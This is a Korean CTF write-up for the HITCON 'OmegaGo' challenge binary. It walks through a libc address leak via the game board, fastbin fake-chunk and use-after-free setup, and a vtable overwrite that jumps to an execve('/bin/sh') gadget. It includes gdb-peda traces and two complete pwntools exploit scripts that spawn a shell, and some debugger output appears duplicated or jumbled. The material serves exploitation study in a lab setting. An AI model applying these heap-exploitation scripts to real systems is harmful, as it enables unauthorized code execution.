...
- 다음과 같은 구조로 shell을 획득합니다.
Panel | ||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|
|
공격에 필요한 정보 수집
Leak Libc address
...
"surrender" 를 입력하고 게임을 재시작하면 다음과 같이 Heap 영역이 변경됩니다.
변경된 heap address에 의해 Fake chunk는 fastbins에 추가 되었습니다.
- AI의 vtable을 저장 할 Heap 영역을 요청하면 fastbins에 등록되었던 Fack chunk(0xac6290)가 할당됩니다.
- 이로 인해 AI vtable(0xac6290) 영역에 board[]의 정보를 덮어쓸 수 있습니다.
Code Block |
---|
$ surrender This AI is too strong, ah? Play history? (y/n) $ n Play again? (y/n) $ y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 $ |
...
Code Block |
---|
Breakpoint 1, 0x0000000000401761 in ?? () gdb-peda$ p main_arena.fastbinsY $1 = {0xac6280, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gdb-peda$ ni 0x0000000000401766 in ?? () gdb-peda$ i r rax rax 0xac6290 0xac6290 gdb-peda$ p main_arena.fastbinsY $2 = {0x0, 0xab8a40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gdb-peda$ x/4gx 0xac6290 0xac6290: 0x0000000000000000 0x0000000000000000 0xac62a0: 0x0000000000000000 0x0000000000000400 gdb-peda$ c Continuing. ^C Program received signal SIGINT, Interrupt. 0x00007ff033729230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/4gx 0xac6290 0xac6290: 0x0000000000405040 0x0000000000000000 0xac62a0: 0x0000000000000000 0x0000000000000400 gdb-peda$ x/gx 0x0000000000405040 0x405040: 0x000000000040290a gdb-peda$ x/10i 0x000000000040290a 0x40290a: push rbp 0x40290b: mov rbp,rsp 0x40290e: sub rsp,0x150 0x402915: mov QWORD PTR [rbp-0x128],rdi 0x40291c: mov QWORD PTR [rbp-0x130],rsi 0x402923: mov DWORD PTR [rbp-0x134],edx 0x402929: mov QWORD PTR [rbp-0x140],rcx 0x402930: mov QWORD PTR [rbp-0x148],r8 0x402937: mov rax,QWORD PTR fs:0x28 0x402940: mov QWORD PTR [rbp-0x8],rax gdb-peda$ |
- 다음과 같이 스크립트에 코드를 추가합니다.
Code Block |
---|
#0xXXXX010 -> 0xxxxx290 Play('D19') Play('E19') surrender() |
Overwrite the vtable
- 다음과 같이 AI vtable을 덮어쓸 수 있습니다.
- AI vtable영역에서 호출 할 함수의 주소가 저장된 영역의 주소가 저장된 곳은 GameInfo.board[9] 으로 덮어쓰여 집니다.
- 해당 영역에 저장 할 주소는 gCmd 전역 변수 + 4(0x60943C + 0x4 = 0x609440) 입니다.
- 해당 정보를 이용해 다음과 같은 위치 값을 생성할 값을 덮어쓸 수 있습니다.
- D14, E14, G14위치 값 : D14, E14, G14, R15, A5, Q6
- GameInfo.board[9] 영역에 0x609440이 저장되었습니다.
Code Block |
---|
Q6 ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 .................XO 14 ..OXX.X............ 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ............O.OOX.. 5 XO................. 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 162.59 gdb-peda$ x/20gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000000 0x609fd0: 0x1800000000000000 0x00000000000008a4 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000609440 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 0x60a020: 0x0000000200000005 0x000000000000004f 0x60a030: 0x40667fffaa044ae6 0x406452c1871e6cd3 0x60a040: 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000000000 0x60a020: 0x0000000200000005 0x000000000000004f 0x60a030: 0x40667fffaa044ae6 0x406452c1871e6cd3 0x60a040: 0x0000000000000000 0x0000000000000000 0x60a050: 0x0000000000000000 0x0000000000000000 gdb-peda$ 0x0000000000000000 0x60a050: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
- 다음과 같이 스크립트에 코드를 추가합니다.
Code Block |
---|
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
#vtable Overflow
Play('D14')
Play('E14')
Play('G14')
Play('R15')
Play('A5')
Play('Q6')
Fill('A','E',19)
sleep(20)
Play('F19|'+p64(execve_bash)) |
- 다음과 같이 변경된 vtable 정보를 확인 할 수 있습니다.
- AI vtable 영역은 0x1a37290 이며, 해당 영역에 gCmd 전역 변수(+4)의 주소가 저장되어 있습니다.
Code Block |
---|
lazenca0x0@ubuntu:~$ gdb -q -p 59695
Attaching to process 59695
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
gdb-peda$ b *0x4017D0
Breakpoint 1 at 0x4017d0
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004017d0 in ?? ()
gdb-peda$ x/13i $rip
=> 0x4017d0: mov rax,QWORD PTR [rbp+rax*8-0x30]
0x4017d5: mov rax,QWORD PTR [rax]
0x4017d8: mov rax,QWORD PTR [rax]
0x4017db: mov edx,DWORD PTR [rbp-0x5c]
0x4017de: sub edx,0x1
0x4017e1: movsxd rdx,edx
0x4017e4: mov rdi,QWORD PTR [rbp+rdx*8-0x30]
0x4017e9: lea rsi,[rbp-0x60]
0x4017ed: lea rcx,[rbp-0x64]
0x4017f1: mov edx,DWORD PTR [rbp-0x5c]
0x4017f4: mov r8,rsi
0x4017f7: mov esi,0x609fc0
0x4017fc: call rax
gdb-peda$ i r rax
rax 0x0 0x0
gdb-peda$ i r rbp
rbp 0x7ffdb99059e0 0x7ffdb99059e0
gdb-peda$ p/x 0x7ffdb99059e0 - 0x30
$1 = 0x7ffdb99059b0
gdb-peda$ x/gx 0x7ffdb99059b0
0x7ffdb99059b0: 0x0000000001a37290
gdb-peda$ x/gx 0x0000000001a37290
0x1a37290: 0x0000000000609440
gdb-peda$ x/gx 0x0000000000609440
0x609440: 0x00007f10d2973117
gdb-peda$ x/5i 0x00007f10d2973117
0x7f10d2973117 <exec_comm+2263>: mov rax,QWORD PTR [rip+0x2d2d9a] # 0x7f10d2c45eb8
0x7f10d297311e <exec_comm+2270>: lea rsi,[rsp+0x70]
0x7f10d2973123 <exec_comm+2275>: lea rdi,[rip+0x9bbed] # 0x7f10d2a0ed17
0x7f10d297312a <exec_comm+2282>: mov rdx,QWORD PTR [rax]
0x7f10d297312d <exec_comm+2285>: call 0x7f10d294e770 <execve>
gdb-peda$ b *0x4017fc
Breakpoint 2 at 0x4017fc
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00000000004017fc in ?? ()
gdb-peda$ i r rax
rax 0x7f10d2973117 0x7f10d2973117
gdb-peda$ c
Continuing.
process 59695 is executing new program: /bin/dash |
다음과 같이 vtable을 Overwirte을 할 수 있습니다.
- gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
- 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
- gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
- 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
- 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
- Ex)A19!@#$%^&
- 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
- 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
- gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
- 다음은 디버깅을 통해 확인한 내용입니다.
- gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
- 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
- 즉, vtable을 0x609440으로 덮어쓴 것입니다.
- 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.
...
Code Block |
---|
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result def LeakAddress(): readBoard() return decode(0) def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() #surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3c4b78 #execve_bash = libcBaseAddress + 0xe66bd execve_bash = libcBaseAddress + 0xF1117 log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) log.info('execve bash Address : ' + hex(execve_bash)) #Memory reconstruction surrender() surrender() surrender() surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') #0xXXXX410 -> 0xxxxx550 Fill('A','I',10) #0xXXXX410 -> 0xxxxx550 Play('D19') Play('E19') #sleep(30)#UAF surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #vtable Overflow Play('D14') Play('E14') Play('G14') Play('R15') Play('A5') Play('Q6') Fill('A','E',19) Play('F19|'+p64(execve_bash)) p.interactive() |
...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
def Play(location):
p.recvuntil('\n\n')
p.sendline(location)
def readBoard():
global board
board = []
p.recvline()
for line in range(0,19):
p.recv(3)
board.append(p.recvuntil('\n')[0:19])
def surrender():
p.recvuntil('\n\n')
p.sendline('surrender')
p.recvuntil('Play history? (y/n)')
p.sendline('n')
p.recvuntil('Play again? (y/n)')
p.sendline('y')
def Fill(colStart, colEnd, row):
for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
locate = str(col_list[colNum])
locate += str(row)
Play(locate)
def decode(offset):
bit_offset = offset * 8
data = ''.join(board)
result = 0
for i in xrange(32):
states = '.OX\0'
val = states.index(data[bit_offset + i])
result |= val << (i * 2)
return result
def LeakAddress():
readBoard()
return decode(0)
def LeakLibcAddress():
readBoard()
return decode(32)
#Memory reconstruction
surrender()
surrender()
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')
libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))
#Memory reconstruction
surrender()
surrender()
surrender()
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
#Fake Chunk
Play('D14')
Play('R8')
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')
surrender()
#Fill out to board
Fill('B','S',6)
for line in range(15,20):
Fill('A','S',line)
Play('A6')
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
for line in range(16,19):
Fill('A','S',line)
Fill('A','E',15)
sleep(20)
Play('F15|'+p64(execve_bash))
p.interactive() |
...